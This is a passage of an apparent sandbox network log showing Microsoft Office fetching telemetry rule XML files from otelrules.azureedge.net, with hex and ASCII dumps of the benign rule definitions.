0	192.168.2.4	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:52 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:52 UTC	540	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:52 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: acfedf75-801e-002a-2768-2931dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193752Z-r197bdfb6b4d9xksru4x6qbqr00000000740000000007f2u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:52 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-29 19:37:52 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-29 19:37:52 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-29 19:37:53 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-29 19:37:53 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-29 19:37:53 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-29 19:37:53 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-29 19:37:53 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-29 19:37:53 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-29 19:37:53 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.4	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:54 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:54 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:54 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 3be177bf-d01e-007a-546e-28f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193754Z-15b8d89586f6nn8zqg1h5suba80000000280000000007b0y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:54 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.4	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:54 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:54 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:54 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 041e76a7-601e-005c-45ae-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193754Z-16849878b782d4lwcu6h6gmxnw00000006p000000000fg6c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:54 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.4	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:54 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:54 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:54 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 11ae3112-301e-005d-596b-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193754Z-16849878b78q9m8bqvwuva4svc00000005cg0000000113k8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:54 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.4	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:54 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:55 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:54 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193754Z-16849878b78km6fmmkbenhx76n000000068g00000000qws1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:55 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.4	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:54 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:55 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:54 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193754Z-16849878b78wv88bk51myq5vxc00000007a0000000007v3b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:37:55 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:55 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:37:55 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:55 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7b93b929-d01e-0082-6676-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193755Z-16849878b78km6fmmkbenhx76n000000068000000000tc9k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
